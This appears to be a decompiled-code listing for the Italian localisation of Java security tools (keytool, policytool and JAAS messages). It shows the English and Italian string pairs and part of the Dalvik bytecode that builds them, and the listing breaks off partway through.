                                                                              • Creation date: keyStore.getCreationDate(alias)
                                                                              • Data di creazione: {0,date}
                                                                              • alias, keyStore.getCreationDate(alias),
                                                                              • {0}, {1,date},
                                                                              • alias,
                                                                              • {0},
                                                                              • Entry type: <type>
                                                                              • Tipo di voce: {0}
                                                                              • Certificate chain length:
                                                                              • Lunghezza catena certificati:
                                                                              • Certificate[(i + 1)]:
                                                                              • Certificato[{0,number,integer}]:
                                                                              • Certificate fingerprint (MD5):
                                                                              • Impronta digitale certificato (MD5):
                                                                              • Entry type: trustedCertEntry\n
                                                                              • Tipo entry: trustedCertEntry\n
                                                                              • trustedCertEntry,
                                                                              • Keystore type:
                                                                              • Tipo keystore:
                                                                              • Keystore provider:
                                                                              • Provider keystore:
                                                                              • Your keystore contains keyStore.size() entry
                                                                              • Il keystore contiene {0,number,integer} entry
                                                                              • Your keystore contains keyStore.size() entries
                                                                              • Failed to parse input
                                                                              • Impossibile analizzare l\'input
                                                                              • Empty input
                                                                              • Input vuoto
                                                                              • Not X.509 certificate
                                                                              • Il certificato non \u00e8 X.509
                                                                              • alias has no public key
                                                                              • {0} non dispone di chiave pubblica
                                                                              • alias has no X.509 certificate
                                                                              • {0} non dispone di certificato X.509
                                                                              • New certificate (self-signed):
                                                                              • Nuovo certificato (autofirmato):
                                                                              • Reply has no certificates
                                                                              • La risposta non dispone di certificati
                                                                              • Certificate not imported, alias <alias> already exists
                                                                              • Impossibile importare il certificato, l\'\'alias <{0}> \u00e8 gi\u00e0 esistente
                                                                              • Input not an X.509 certificate
                                                                              • L\'input non \u00e8 un certificato X.509
                                                                              • Certificate already exists in keystore under alias <trustalias>
                                                                              • Il certificato esiste gi\u00e0 nel keystore con alias <{0}>
                                                                              • Do you still want to add it? [no]:
                                                                              • Aggiungerlo ugualmente? [no]:
                                                                              • Certificate already exists in system-wide CA keystore under alias <trustalias>
                                                                              • Il certificato esiste gi\u00e0 nel keystore CA con alias <{0}>
                                                                              • Do you still want to add it to your own keystore? [no]:
                                                                              • Aggiungerlo al proprio keystore? [no]:
                                                                              • Trust this certificate? [no]:
                                                                              • Considerare attendibile questo certificato? [no]:
                                                                              • YES
                                                                              • S\u00ec
                                                                              • New prompt:
                                                                              • Nuova {0}:
                                                                              • Passwords must differ
                                                                              • Le password non devono coincidere
                                                                              • Re-enter new prompt:
                                                                              • Reimmettere nuova {0}:
                                                                              • Re-enter new password:
                                                                              • Immettere nuovamente la nuova password:
                                                                              • They don\'t match. Try again
                                                                              • Non corrispondono. Riprovare.
                                                                              • Enter prompt alias name:
                                                                              • Immettere nome alias {0}:
                                                                              • Enter new alias name\t(RETURN to cancel import for this entry):
                                                                              • Immettere un nuovo nome alias\t(premere INVIO per annullare l\'importazione della voce):
                                                                              • Enter alias name:
                                                                              • Immettere nome alias:
                                                                              • \t(RETURN if same as for <otherAlias>)
                                                                              • \t(INVIO se corrisponde al nome di <{0}>
                                                                              • *PATTERN* printX509Cert
                                                                              • Proprietario: {0}\nAutorit\u00e0 emittente: {1}\nNumero di serie: {2}\nValido da: {3} a: {4}\nImpronte digitali certificato:\n\t MD5: {5}\n\t SHA1: {6}\n\t Nome algoritmo firma: {7}\n\t Versione: {8}
                                                                              • What is your first and last name?
                                                                              • Specificare nome e cognome
                                                                              • What is the name of your organizational unit?
                                                                              • Specificare il nome dell\'unit\u00e0 aziendale
                                                                              • What is the name of your organization?
                                                                              • Specificare il nome dell\'azienda
                                                                              • What is the name of your City or Locality?
                                                                              • Specificare la localit\u00e0
                                                                              • What is the name of your State or Province?
                                                                              • Specificare la provincia
                                                                              • What is the two-letter country code for this unit?
                                                                              • Specificare il codice a due lettere del paese in cui si trova l\'unit\u00e0
                                                                              • Is <name> correct?
                                                                              • Il dato {0} \u00e8 corretto?
                                                                              • no
                                                                              • yes
                                                                              • s\u00ec
                                                                              • y
                                                                              • s
                                                                              • [defaultValue]:
                                                                              • [{0}]:
                                                                              • Alias <alias> has no key
                                                                              • All\'alias <{0}> non \u00e8 associata alcuna chiave
                                                                              • Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries
                                                                              • L\'alias <{0}> fa riferimento a un tipo di voce che non \u00e8 una voce di chiave privata. Il comando -keyclone supporta solo la duplicazione delle voci di chiave private.
                                                                              • ***************** WARNING WARNING WARNING *****************
                                                                              • ***************** AVVISO AVVISO AVVISO *****************
                                                                              • * The integrity of the information stored in your keystore *
                                                                              • * L\'integrit\u00e0 delle informazioni memorizzate nel keystore *
                                                                              • * The integrity of the information stored in the srckeystore*
                                                                              • * L\'integrit\u00e0 delle informazioni salvate nel srckeystore*
                                                                              • * has NOT been verified! In order to verify its integrity, *
                                                                              • * NON \u00e8 stata verificata! A tale scopo \u00e8 necessario fornire *
                                                                              • * you must provide your keystore password. *
                                                                              • * la password del keystore. *
                                                                              • * you must provide the srckeystore password. *
                                                                              • * \u00c8 necessario fornire la password per il srckeystore. *
                                                                              • Certificate reply does not contain public key for <alias>
                                                                              • La risposta del certificato non contiene la chiave pubblica per <{0}>
                                                                              • Incomplete certificate chain in reply
                                                                              • Catena dei certificati incompleta nella risposta
                                                                              • Certificate chain in reply does not verify:
                                                                              • La catena dei certificati nella risposta non verifica:
                                                                              • Top-level certificate in reply:\n
                                                                              • Certificato di primo livello nella risposta:\n
                                                                              • ... is not trusted.
                                                                              • ... non \u00e8 considerato attendibile.
                                                                              • Install reply anyway? [no]:
                                                                              • Installare la risposta? [no]:
                                                                              • NO
                                                                              • Public keys in reply and keystore don\'t match
                                                                              • Le chiavi pubbliche nella risposta e nel keystore non corrispondono
                                                                              • Certificate reply and certificate in keystore are identical
                                                                              • La risposta del certificato e il certificato nel keystore sono identici
                                                                              • Failed to establish chain from reply
                                                                              • Impossibile stabilire la catena dalla risposta
                                                                              • n
                                                                              • Wrong answer, try again
                                                                              • Risposta errata, riprovare
                                                                              • Secret key not generated, alias <alias> already exists
                                                                              • La chiave segreta non \u00e8 stata generata; l\'alias <{0}> esiste gi\u00e0
                                                                              • Please provide -keysize for secret key generation
                                                                              • Specificare il valore -keysize per la generazione della chiave segreta
                                                                              • keytool usage:\n
                                                                              • utilizzo keytool:\n
                                                                              • Extensions:
                                                                              • Estensioni:
                                                                              • -certreq [-v] [-protected]
                                                                              • \t [-alias <alias>] [-sigalg <sigalg>]
                                                                              • \t [-alias <alias>] [-sigalg <algfirma>]
                                                                              • \t [-file <csr_file>] [-keypass <keypass>]
                                                                              • \t [-file <file_csr>] [-keypass <keypass>]
                                                                              • \t [-keystore <keystore>] [-storepass <storepass>]
                                                                              • \t [-storetype <storetype>] [-providername <name>]
                                                                              • \t [-providerclass <provider_class_name> [-providerarg <arg>]] ...
                                                                              • \t [-providerpath <pathlist>]
                                                                              • -delete [-v] [-protected] -alias <alias>
                                                                              • -exportcert [-v] [-rfc] [-protected]
                                                                              • \t [-alias <alias>] [-file <cert_file>]
                                                                              • \t [-alias <alias>] [-file <file_cert>]
                                                                              • -genkeypair [-v] [-protected]
                                                                              • \t [-alias <alias>]
                                                                              • \t [-keyalg <keyalg>] [-keysize <keysize>]
                                                                              • \t [-keyalg <algchiave>] [-keysize <dimchiave>]
                                                                              • \t [-sigalg <sigalg>] [-dname <dname>]
                                                                              • \t [-sigalg <algfirma>] [-dname <nomed>]
                                                                              • \t [-validity <valDays>] [-keypass <keypass>]
                                                                              • \t [-validity <Giornival>] [-keypass <keypass>]
                                                                              • -genseckey [-v] [-protected]
                                                                              • -help
                                                                              • -importcert [-v] [-noprompt] [-trustcacerts] [-protected]
                                                                              • \t [-alias <alias>] [-keypass <keypass>]
                                                                              • \t [-file <cert_file>] [-keypass <keypass>]
                                                                              • \t [-file <file_cert>] [-keypass <keypass>]
                                                                              • -importkeystore [-v]
                                                                              • \t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]
                                                                              • \t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]
                                                                              • \t [-srcprotected] [-destprotected]
                                                                              • \t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]
                                                                              • \t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]
                                                                              • \t [-srcalias <srcalias> [-destalias <destalias>]
                                                                              • \t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]
                                                                              • \t [-noprompt]
                                                                              • -changealias [-v] [-protected] -alias <alias> -destalias <destalias>
                                                                              • \t [-keypass <keypass>]
                                                                              • -keypasswd [-v] [-alias <alias>]
                                                                              • \t [-keypass <old_keypass>] [-new <new_keypass>]
                                                                              • \t [-keypass <keypass_vecchio>] [-new <keypass_nuovo>]
                                                                              • -list [-v | -rfc] [-protected]
                                                                              • -printcert [-v] [-file <cert_file>]
                                                                              • -printcert [-v] [-file <file_cert>]
                                                                              • -storepasswd [-v] [-new <new_storepass>]
                                                                              • -storepasswd [-v] [-new <storepass_nuovo>]
                                                                              • Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured.
                                                                              • Avviso: non esiste una chiave pubblica per l\'alias {0}. Verificare che il KeyStore sia configurato correttamente.
                                                                              • Warning: Class not found: class
                                                                              • Avviso: Classe non trovata: {0}
                                                                              • Warning: Invalid argument(s) for constructor: arg
                                                                              • Avviso: argomento o argomenti non validi per il costruttore {0}
                                                                              • Illegal Principal Type: type
                                                                              • Tipo principale non valido: {0}
                                                                              • Illegal option: option
                                                                              • Opzione non valida: {0}
                                                                              • Usage: policytool [options]
                                                                              • Utilizzo: policytool [opzioni]
                                                                              • [-file <file>] policy file location
                                                                              • [-file <file>] posizione del policy file
                                                                              • New
                                                                              • Nuovo
                                                                              • Open
                                                                              • Apri
                                                                              • Save
                                                                              • Salva
                                                                              • Save As
                                                                              • Salva con nome
                                                                              • View Warning Log
                                                                              • Visualizza registro avvisi
                                                                              • Exit
                                                                              • Esci
                                                                              • Add Policy Entry
                                                                              • Aggiungi policy entry
                                                                              • Edit Policy Entry
                                                                              • Modifica policy entry
                                                                              • Remove Policy Entry
                                                                              • Elimina policy entry
                                                                              • Edit
                                                                              • Modifica
                                                                              • Retain
                                                                              • Mantieni
                                                                              • Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name.
                                                                              • Add Public Key Alias
                                                                              • Aggiungi alias chiave pubblica
                                                                              • Remove Public Key Alias
                                                                              • Elimina alias chiave pubblica
                                                                              • File
                                                                              • KeyStore
                                                                              • Policy File:
                                                                              • Policy file:
                                                                              • Could not open policy file: policyFile: e.toString()
                                                                              • Impossibile aprire il file di criteri {0}: {1}
                                                                              • Policy Tool
                                                                              • Errors have occurred while opening the policy configuration. View the Warning Log for more information.
                                                                              • Si sono verificati errori durante l\'apertura della configurazione della policy. Consultare il registro degli avvisi per ulteriori informazioni.
                                                                              • Error
                                                                              • Errore
                                                                              • OK
                                                                              • Status
                                                                              • Stato
                                                                              • Warning
                                                                              • Avviso
                                                                              • Permission:
                                                                              • Permesso:
                                                                              • Principal Type:
                                                                              • Tipo Principal:
                                                                              • Principal Name:
                                                                              • Nome Principal:
                                                                              • Target Name:
                                                                              • Nome obiettivo:
                                                                              • Actions:
                                                                              • Azioni:
                                                                              • OK to overwrite existing file filename?
                                                                              • OK per sovrascrivere il file {0}?
                                                                              • Cancel
                                                                              • Annulla
                                                                              • CodeBase:
                                                                              • SignedBy:
                                                                              • Add Principal
                                                                              • Aggiungi Principal
                                                                              • Edit Principal
                                                                              • Modifica Principal
                                                                              • Remove Principal
                                                                              • Elimina Principal
                                                                              • Principals:
                                                                              • Principal:
                                                                              • Add Permission
                                                                              • Aggiungi permesso
                                                                              • Edit Permission
                                                                              • Modifica permesso
                                                                              • Remove Permission
                                                                              • Elimina permesso
                                                                              • Done
                                                                              • Fine
                                                                              • KeyStore URL:
                                                                              • URL KeyStore:
                                                                              • KeyStore Type:
                                                                              • Tipo KeyStore:
                                                                              • KeyStore Provider:
                                                                              • Fornitore KeyStore:
                                                                              • KeyStore Password URL:
                                                                              • URL password KeyStore:
                                                                              • Principals
                                                                              • Edit Principal:
                                                                              • Modifica Principal:
                                                                              • Add New Principal:
                                                                              • Aggiungi nuova Principal:
                                                                              • Permissions
                                                                              • Permessi
                                                                              • Edit Permission:
                                                                              • Modifica permesso:
                                                                              • Add New Permission:
                                                                              • Aggiungi nuovo permesso:
                                                                              • Signed By:
                                                                              • Firmato da:
                                                                              • Cannot Specify Principal with a Wildcard Class without a Wildcard Name
                                                                              • Impossibile specificare Principal con una classe wildcard senza un nome wildcard
                                                                              • Cannot Specify Principal without a Name
                                                                              • Impossibile specificare Principal senza un nome
                                                                              • Permission and Target Name must have a value
                                                                              • Il permesso e il nome di obiettivo non possono essere nulli
                                                                              • Remove this Policy Entry?
                                                                              • Eliminare questa policy entry?
                                                                              • Overwrite File
                                                                              • Sovrascrivi file
                                                                              • Policy successfully written to filename
                                                                              • La policy \u00e8 stata scritta correttamente in {0}
                                                                              • null filename
                                                                              • nome file nullo
                                                                              • Save changes?
                                                                              • Salvare le modifiche?
                                                                              • Yes
                                                                              • No
                                                                              • Policy Entry
                                                                              • Policy entry
                                                                              • Save Changes
                                                                              • Salva le modifiche
                                                                              • No Policy Entry selected
                                                                              • Nessuna policy entry selezionata
                                                                              • Unable to open KeyStore: ex.toString()
                                                                              • Impossibile aprire il KeyStore: {0}
                                                                              • No principal selected
                                                                              • Nessuna Principal selezionata
                                                                              • No permission selected
                                                                              • Nessun permesso selezionato
                                                                              • name
                                                                              • nome
                                                                              • configuration type
                                                                              • tipo di configurazione
                                                                              • environment variable name
                                                                              • nome variabile ambiente
                                                                              • library name
                                                                              • nome libreria
                                                                              • package name
                                                                              • nome package
                                                                              • policy type
                                                                              • tipo di criteri
                                                                              • property name
                                                                              • nome propriet\u00e0
                                                                              • provider name
                                                                              • nome provider
                                                                              • Principal List
                                                                              • Elenco principale
                                                                              • Permission List
                                                                              • Elenco autorizzazioni
                                                                              • Code Base
                                                                              • Codebase
                                                                              • KeyStore U R L:
                                                                              • KeyStore Password U R L:
                                                                              • invalid null input(s)
                                                                              • input nullo/i non valido/i
                                                                              • actions can only be \'read\'
                                                                              • le azioni possono essere solamente \'lette\'
                                                                              • permission name [name] syntax invalid:
                                                                              • sintassi non valida per il nome di permesso [{0}]:
                                                                              • Credential Class not followed by a Principal Class and Name
                                                                              • la classe Credential non \u00e8 seguita da un nome e una classe Principal
                                                                              • Principal Class not followed by a Principal Name
                                                                              • la classe Principal non \u00e8 seguita da un nome Principal
                                                                              • Principal Name must be surrounded by quotes
                                                                              • il nome Principal deve essere compreso tra virgolette
                                                                              • Principal Name missing end quote
                                                                              • virgolette di chiusura del nome Principal mancanti
                                                                              • PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value
                                                                              • la classe Principal PrivateCredentialPermission non pu\u00f2 essere un valore wildcard (*) se il nome Principal a sua volta non \u00e8 un valore wildcard (*)
                                                                              • CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name
                                                                              • ProprCred:\n\tclasse Principal = {0}\n\tNome Principal = {1}
                                                                              • provided null name
                                                                              • il nome fornito \u00e8 nullo
                                                                              • provided null keyword map
                                                                              • specificata mappa parole chiave null
                                                                              • provided null OID map
                                                                              • specificata mappa OID null
                                                                              • invalid null AccessControlContext provided
                                                                              • fornito un valore nullo non valido per AccessControlContext
                                                                              • invalid null action provided
                                                                              • fornita un\'azione nulla non valida
                                                                              • invalid null Class provided
                                                                              • fornita una classe nulla non valida
                                                                              • Subject:\n
                                                                              • \tPrincipal:
                                                                              • \tPublic Credential:
                                                                              • \tCredenziale pubblica:
                                                                              • \tPrivate Credentials inaccessible\n
                                                                              • \tImpossibile accedere alle credenziali private\n
                                                                              • \tPrivate Credential:
                                                                              • \tCredenziale privata:
                                                                              • \tPrivate Credential inaccessible\n
                                                                              • \tImpossibile accedere alla credenziale privata\n
                                                                              • Subject is read-only
                                                                              • Subject \u00e8 di sola lettura
                                                                              • attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set
                                                                              • si \u00e8 tentato di aggiungere un oggetto che non \u00e8 un\'istanza di java.security.Principal a un set Principal di Subject
                                                                              • attempting to add an object which is not an instance of class
                                                                              • si \u00e8 tentato di aggiungere un oggetto che non \u00e8 un\'\'istanza di {0}
                                                                              • LoginModuleControlFlag:
                                                                              • Invalid null input: name
                                                                              • Input nullo non valido: nome
                                                                              • No LoginModules configured for name
                                                                              • Nessun LoginModule configurato per {0}
                                                                              • invalid null Subject provided
                                                                              • fornito un valore nullo non valido per Subject
                                                                              • invalid null CallbackHandler provided
                                                                              • fornito un valore nullo non valido per CallbackHandler
                                                                              • null subject - logout called before login
                                                                              • subject nullo - il logout \u00e8 stato chiamato prima del login
                                                                              • unable to instantiate LoginModule, module, because it does not provide a no-argument constructor
                                                                              • impossibile istanziare il LoginModule {0} in quando non restituisce un valore vuoto per il costruttore
                                                                              • unable to instantiate LoginModule
                                                                              • impossibile istanziare LoginModule
                                                                              • unable to instantiate LoginModule:
                                                                              • Impossibile creare un\'istanza di LoginModule:
                                                                              • unable to find LoginModule class:
                                                                              • impossibile trovare la classe LoginModule:
                                                                              • unable to access LoginModule:
                                                                              • impossibile accedere a LoginModule
                                                                              • Login Failure: all modules ignored
                                                                              • Errore di login: tutti i moduli sono stati ignorati
                                                                              • java.security.policy: error parsing policy:\n\tmessage
                                                                              • java.security.policy: errore nell\'\'analisi di {0}:\n\t{1}
                                                                              • java.security.policy: error adding Permission, perm:\n\tmessage
                                                                              • java.security.policy: errore nell\'\'aggiunta del permesso {0}:\n\t{1}
                                                                              • java.security.policy: error adding Entry:\n\tmessage
                                                                              • java.security.policy: errore nell\'\'aggiunta dell\'\'entry:\n\t{0}
                                                                              • alias name not provided (pe.name)
                                                                              • impossibile fornire nome alias ({0})
                                                                              • unable to perform substitution on alias, suffix
                                                                              • impossibile eseguire una sostituzione sull\'\'alias, {0}
                                                                              • substitution value, prefix, unsupported
                                                                              • valore sostituzione, {0}, non supportato
                                                                              • (
                                                                              • )
                                                                              • type can\'t be null
                                                                              • il tipo non pu\u00f2 essere nullo
                                                                              • keystorePasswordURL can not be specified without also specifying keystore
                                                                              • Impossibile specificare keystorePasswordURL senza specificare anche il keystore
                                                                              • expected keystore type
                                                                              • tipo di keystore previsto
                                                                              • expected keystore provider
                                                                              • provider di keystore previsto
                                                                              • multiple Codebase expressions
                                                                              • espressioni Codebase multiple
                                                                              • multiple SignedBy expressions
                                                                              • espressioni SignedBy multiple
                                                                              • SignedBy has empty alias
                                                                              • SignedBy presenta un alias vuoto
                                                                              • can not specify Principal with a wildcard class without a wildcard name
                                                                              • impossibile specificare Principal con una classe wildcard senza un nome wildcard
                                                                              • expected codeBase or SignedBy or Principal
                                                                              • previsto codeBase o SignedBy o Principal
                                                                              • expected permission entry
                                                                              • prevista entry di permesso
                                                                              • number
                                                                              • numero
                                                                              • expected [expect], read [end of file]
                                                                              • previsto [{0}], letto [end of file]
                                                                              • expected [;], read [end of file]
                                                                              • previsto [;], letto [end of file]
                                                                              • line number: msg
                                                                              • riga {0}: {1}
                                                                              • line number: expected [expect], found [actual]
                                                                              • riga {0}: previsto [{1}], trovato [{2}]
                                                                              • null principalClass or principalName
                                                                              • principalClass o principalName nullo
                                                                              • PKCS11 Token [providerName] Password:
                                                                              • Password per token PKCS11 [{0}]:
                                                                              • unable to instantiate Subject-based policy
                                                                              • impossibile creare un\'istanza dei criteri basati su Subject
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1const/4 v6, 0x2
                                                                              2const/4 v5, 0x1
                                                                              3const/4 v4, 0x0
                                                                              4const/16 v0, 0x153
                                                                              5new-array v0, v0, [[Ljava/lang/Object;
                                                                              6new-array v1, v6, [Ljava/lang/Object;
                                                                              8const-string v2, " "
                                                                              9aput-object v2, v1, v4
                                                                              11const-string v2, " "
                                                                              12aput-object v2, v1, v5
                                                                              13aput-object v1, v0, v4
                                                                              14new-array v1, v6, [Ljava/lang/Object;
                                                                              16const-string v2, " "
                                                                              17aput-object v2, v1, v4
                                                                              19const-string v2, " "
                                                                              20aput-object v2, v1, v5
                                                                              21aput-object v1, v0, v5
                                                                              22new-array v1, v6, [Ljava/lang/Object;
                                                                              24const-string v2, " "
                                                                              25aput-object v2, v1, v4
                                                                              27const-string v2, " "
                                                                              28aput-object v2, v1, v5
                                                                              29aput-object v1, v0, v6
                                                                              30const/4 v1, 0x3
                                                                              31new-array v2, v6, [Ljava/lang/Object;
                                                                              33const-string v3, ", "
                                                                              34aput-object v3, v2, v4
                                                                              36const-string v3, ", "
                                                                              37aput-object v3, v2, v5
                                                                              38aput-object v2, v0, v1
                                                                              39const/4 v1, 0x4
                                                                              40new-array v2, v6, [Ljava/lang/Object;
                                                                              42const-string v3, "\n"
                                                                              43aput-object v3, v2, v4
                                                                              45const-string v3, "\n"
                                                                              46aput-object v3, v2, v5
                                                                              47aput-object v2, v0, v1
                                                                              48const/4 v1, 0x5
                                                                              49new-array v2, v6, [Ljava/lang/Object;
                                                                              51const-string v3, "*******************************************"
                                                                              52aput-object v3, v2, v4
                                                                              54const-string v3, "*******************************************"
                                                                              55aput-object v3, v2, v5
                                                                              56aput-object v2, v0, v1
                                                                              57const/4 v1, 0x6
                                                                              58new-array v2, v6, [Ljava/lang/Object;
                                                                              60const-string v3, "*******************************************\n\n"
                                                                              61aput-object v3, v2, v4
                                                                              63const-string v3, "*******************************************\n\n"
                                                                              64aput-object v3, v2, v5
                                                                              65aput-object v2, v0, v1
                                                                              66const/4 v1, 0x7
                                                                              67new-array v2, v6, [Ljava/lang/Object;
                                                                              69const-string v3, "keytool error: "
                                                                              70aput-object v3, v2, v4
                                                                              72const-string v3, "Errore keytool: "
                                                                              73aput-object v3, v2, v5
                                                                              74aput-object v2, v0, v1
                                                                              75const/16 v1, 0x8
                                                                              76new-array v2, v6, [Ljava/lang/Object;
                                                                              78const-string v3, "Illegal option: "
                                                                              79aput-object v3, v2, v4
                                                                              81const-string v3, "Opzione non valida: "
                                                                              82aput-object v3, v2, v5
                                                                              83aput-object v2, v0, v1
                                                                              84const/16 v1, 0x9
                                                                              85new-array v2, v6, [Ljava/lang/Object;
                                                                              87const-string v3, "Try keytool -help"
                                                                              88aput-object v3, v2, v4
                                                                              90const-string v3, "Provare keytool -help"
                                                                              91aput-object v3, v2, v5
                                                                              92aput-object v2, v0, v1
                                                                              93const/16 v1, 0xa
                                                                              94new-array v2, v6, [Ljava/lang/Object;
                                                                              96const-string v3, "Command option <flag> needs an argument."
                                                                              97aput-object v3, v2, v4
                                                                              99const-string v3, "\u00c8 necessario specificare un argomento per l\'opzione di comando {0}."
                                                                              100aput-object v3, v2, v5
                                                                              101aput-object v2, v0, v1
                                                                              102const/16 v1, 0xb
                                                                              103new-array v2, v6, [Ljava/lang/Object;
                                                                              105const-string v3, "Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value."
                                                                              106aput-object v3, v2, v4
                                                                              108const-string v3, "Avviso: non sono supportate password diverse di chiave e di archivio per i KeyStore PKCS12. Il valore {0} specificato dall\'utente verr\u00e0 ignorato."
                                                                              109aput-object v3, v2, v5
                                                                              110aput-object v2, v0, v1
                                                                              111const/16 v1, 0xc
                                                                              112new-array v2, v6, [Ljava/lang/Object;
                                                                              114const-string v3, "-keystore must be NONE if -storetype is {0}"
                                                                              115aput-object v3, v2, v4
                                                                              117const-string v3, "Se -storetype \u00e8 impostato su {0}, -keystore deve essere impostato su NONE"
                                                                              118aput-object v3, v2, v5
                                                                              119aput-object v2, v0, v1
                                                                              120const/16 v1, 0xd
                                                                              121new-array v2, v6, [Ljava/lang/Object;
                                                                              123const-string v3, "Too may retries, program terminated"
                                                                              124aput-object v3, v2, v4
                                                                              126const-string v3, "Il numero dei tentativi consentiti \u00e8 stato superato. Il programma verr\u00e0 chiuso."
                                                                              127aput-object v3, v2, v5
                                                                              128aput-object v2, v0, v1
                                                                              129const/16 v1, 0xe
                                                                              130new-array v2, v6, [Ljava/lang/Object;
                                                                              132const-string v3, "-storepasswd and -keypasswd commands not supported if -storetype is {0}"
                                                                              133aput-object v3, v2, v4
                                                                              135const-string v3, "Se -storetype \u00e8 impostato su {0}, i comandi -storepasswd e -keypasswd non sono supportati"
                                                                              136aput-object v3, v2, v5
                                                                              137aput-object v2, v0, v1
                                                                              138const/16 v1, 0xf
                                                                              139new-array v2, v6, [Ljava/lang/Object;
                                                                              141const-string v3, "-keypasswd commands not supported if -storetype is PKCS12"
                                                                              142aput-object v3, v2, v4
                                                                              144const-string v3, "Se -storetype \u00e8 impostato su PKCS12 i comandi -keypasswd non vengono supportati"
                                                                              145aput-object v3, v2, v5
                                                                              146aput-object v2, v0, v1
                                                                              147const/16 v1, 0x10
                                                                              148new-array v2, v6, [Ljava/lang/Object;
                                                                              150const-string v3, "-keypass and -new can not be specified if -storetype is {0}"
                                                                              151aput-object v3, v2, v4
                                                                              153const-string v3, "Se -storetype \u00e8 impostato su {0}, non \u00e8 possibile specificare un valore per -keypass e -new"
                                                                              154aput-object v3, v2, v5
                                                                              155aput-object v2, v0, v1
                                                                              156const/16 v1, 0x11
                                                                              157new-array v2, v6, [Ljava/lang/Object;
                                                                              159const-string v3, "if -protected is specified, then -storepass, -keypass, and -new must not be specified"
                                                                              160aput-object v3, v2, v4
                                                                              162const-string v3, "Se \u00e8 specificata l\'opzione -protected, le opzioni -storepass, -keypass e -new non possono essere specificate"
                                                                              163aput-object v3, v2, v5
                                                                              164aput-object v2, v0, v1
                                                                              165const/16 v1, 0x12
                                                                              166new-array v2, v6, [Ljava/lang/Object;
                                                                              168const-string v3, "if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified"
                                                                              169aput-object v3, v2, v4
                                                                              171const-string v3, "Se viene specificato -srcprotected, -srcstorepass e -srckeypass non dovranno essere specificati"
                                                                              172aput-object v3, v2, v5
                                                                              173aput-object v2, v0, v1
                                                                              174const/16 v1, 0x13
                                                                              175new-array v2, v6, [Ljava/lang/Object;
                                                                              177const-string v3, "if keystore is not password protected, then -storepass, -keypass, and -new must not be specified"
                                                                              178aput-object v3, v2, v4
                                                                              180const-string v3, "Se il file keystore non \u00e8 protetto da password, non deve essere specificato alcun valore per -storepass, -keypass e -new"
                                                                              181aput-object v3, v2, v5
                                                                              182aput-object v2, v0, v1
                                                                              183const/16 v1, 0x14
                                                                              184new-array v2, v6, [Ljava/lang/Object;
                                                                              186const-string v3, "if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified"
                                                                              187aput-object v3, v2, v4
                                                                              189const-string v3, "Se il file keystore non \u00e8 protetto da password, non deve essere specificato alcun valore per -srcstorepass e -srckeypass"
                                                                              190aput-object v3, v2, v5
                                                                              191aput-object v2, v0, v1
                                                                              192const/16 v1, 0x15
                                                                              193new-array v2, v6, [Ljava/lang/Object;
                                                                              195const-string v3, "Validity must be greater than zero"
                                                                              196aput-object v3, v2, v4
                                                                              198const-string v3, "La validit\u00e0 deve essere maggiore di zero"
                                                                              199aput-object v3, v2, v5
                                                                              200aput-object v2, v0, v1
                                                                              201const/16 v1, 0x16
                                                                              202new-array v2, v6, [Ljava/lang/Object;
                                                                              204const-string v3, "provName not a provider"
                                                                              205aput-object v3, v2, v4
                                                                              207const-string v3, "{0} non \u00e8 un provider"
                                                                              208aput-object v3, v2, v5
                                                                              209aput-object v2, v0, v1
                                                                              210const/16 v1, 0x17
                                                                              211new-array v2, v6, [Ljava/lang/Object;
                                                                              213const-string v3, "Usage error: no command provided"
                                                                              214aput-object v3, v2, v4
                                                                              216const-string v3, "Errore di utilizzo: nessun comando specificato"
                                                                              217aput-object v3, v2, v5
                                                                              218aput-object v2, v0, v1
                                                                              219const/16 v1, 0x18
                                                                              220new-array v2, v6, [Ljava/lang/Object;
                                                                              222const-string v3, "Usage error, <arg> is not a legal command"
                                                                              223aput-object v3, v2, v4
                                                                              225const-string v3, "Errore di utilizzo. {0} non \u00e8 un comando valido."
                                                                              226aput-object v3, v2, v5
                                                                              227aput-object v2, v0, v1
                                                                              228const/16 v1, 0x19
                                                                              229new-array v2, v6, [Ljava/lang/Object;
                                                                              231const-string v3, "Source keystore file exists, but is empty: "
                                                                              232aput-object v3, v2, v4
                                                                              234const-string v3, "Il file keystore di origine esiste, ma \u00e8 vuoto: "
                                                                              235aput-object v3, v2, v5
                                                                              236aput-object v2, v0, v1
                                                                              237const/16 v1, 0x1a
                                                                              238new-array v2, v6, [Ljava/lang/Object;
                                                                              240const-string v3, "Please specify -srckeystore"
                                                                              241aput-object v3, v2, v4
                                                                              243const-string v3, "Specificare -srckeystore"
                                                                              244aput-object v3, v2, v5
                                                                              245aput-object v2, v0, v1
                                                                              246const/16 v1, 0x1b
                                                                              247new-array v2, v6, [Ljava/lang/Object;
                                                                              249const-string v3, "Must not specify both -v and -rfc with \'list\' command"
                                                                              250aput-object v3, v2, v4
                                                                              252const-string v3, "Impossibile specificare sia -v sia -rfc con il comando \'list\'"
                                                                              253aput-object v3, v2, v5
                                                                              254aput-object v2, v0, v1
                                                                              255const/16 v1, 0x1c
                                                                              256new-array v2, v6, [Ljava/lang/Object;
                                                                              258const-string v3, "Key password must be at least 6 characters"
                                                                              259aput-object v3, v2, v4
                                                                              261const-string v3, "La password della chiave deve contenere almeno 6 caratteri"
                                                                              262aput-object v3, v2, v5
                                                                              263aput-object v2, v0, v1
                                                                              264const/16 v1, 0x1d
                                                                              265new-array v2, v6, [Ljava/lang/Object;
                                                                              267const-string v3, "New password must be at least 6 characters"
                                                                              268aput-object v3, v2, v4
                                                                              270const-string v3, "La nuova password deve contenere almeno 6 caratteri"
